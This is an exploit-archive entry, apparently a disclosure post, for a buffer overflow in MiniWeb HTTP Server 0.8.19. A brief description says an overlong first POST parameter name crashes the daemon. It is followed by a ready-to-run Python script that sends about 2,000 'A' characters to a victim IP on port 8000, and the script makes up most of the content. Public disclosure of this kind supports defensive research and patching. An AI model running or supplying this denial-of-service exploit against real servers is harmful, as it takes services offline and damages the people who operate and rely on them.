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MiniWeb HTTP Server 0.8.19 Buffer Overflow

MiniWeb HTTP Server 0.8.19 Buffer Overflow
Posted Dec 14, 2020
Authored by securityforeveryone.com

MiniWeb HTTP Server version 0.8.19 buffer overflow proof of concept exploit.

tags | exploit, web, overflow, proof of concept
MD5 | 1c43ae8b9d8816d4006b30d2418d1582

MiniWeb HTTP Server 0.8.19 Buffer Overflow

Change Mirror Download
# Exploit Title: MiniWeb HTTP Server 0.8.19 - Buffer Overflow (PoC)
# Date: 13.12.2020
# Exploit Author: securityforeveryone.com
# Author Mail: hello[AT]securityforeveryone.com
# Vendor Homepage: https://sourceforge.net/projects/miniweb/
# Software Link: https://sourceforge.net/projects/miniweb/files/miniweb/0.8/miniweb-win32-20130309.zip/download
# Version: 0.8.19
# Tested on: Win7 x86
# Researchers: Security For Everyone Team - https://securityforeveryone.com

'''
Description

MiniWeb HTTP server 0.8.19 allows remote attackers to cause a denial of service (daemon crash) via a long name for the
first parameter in a POST request.

Exploitation

The vulnerability is the first parameter's name of the POST request. Example: PARAM_NAME1=param_data1&param_name2=param_data2
if we send a lot of "A" characters to "PARAM_NAME1", the miniweb server will crash.

About Security For Everyone Team

We are a team that has been working on cyber security in the industry for a long time.
In 2020, we created securityforeveyone.com where everyone can test their website security and get help to fix their vulnerabilities.
We have many free tools that you can use here: https://securityforeveryone.com/free-tool-list

'''

#!/usr/bin/python

import socket
import sys
import struct

if len(sys.argv) != 2 :
print "[+] Usage : python exploit.py [VICTIM_IP]"
exit(0)

TCP_IP = sys.argv[1]
TCP_PORT = 8000

xx = "A"*2038 #4085

http_req = "POST /index.html HTTP/1.1\r\n"
http_req += "Host: 192.168.231.140\r\n"
http_req += "From: header-data\r\n"
http_req += "Content-Type: application/x-www-form-urlencoded\r\n\r\n"
http_req += xx + "=param_data1&param_name2=param_data2"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
print "[+] Sending exploit payload..."
s.send(http_req)
s.close()


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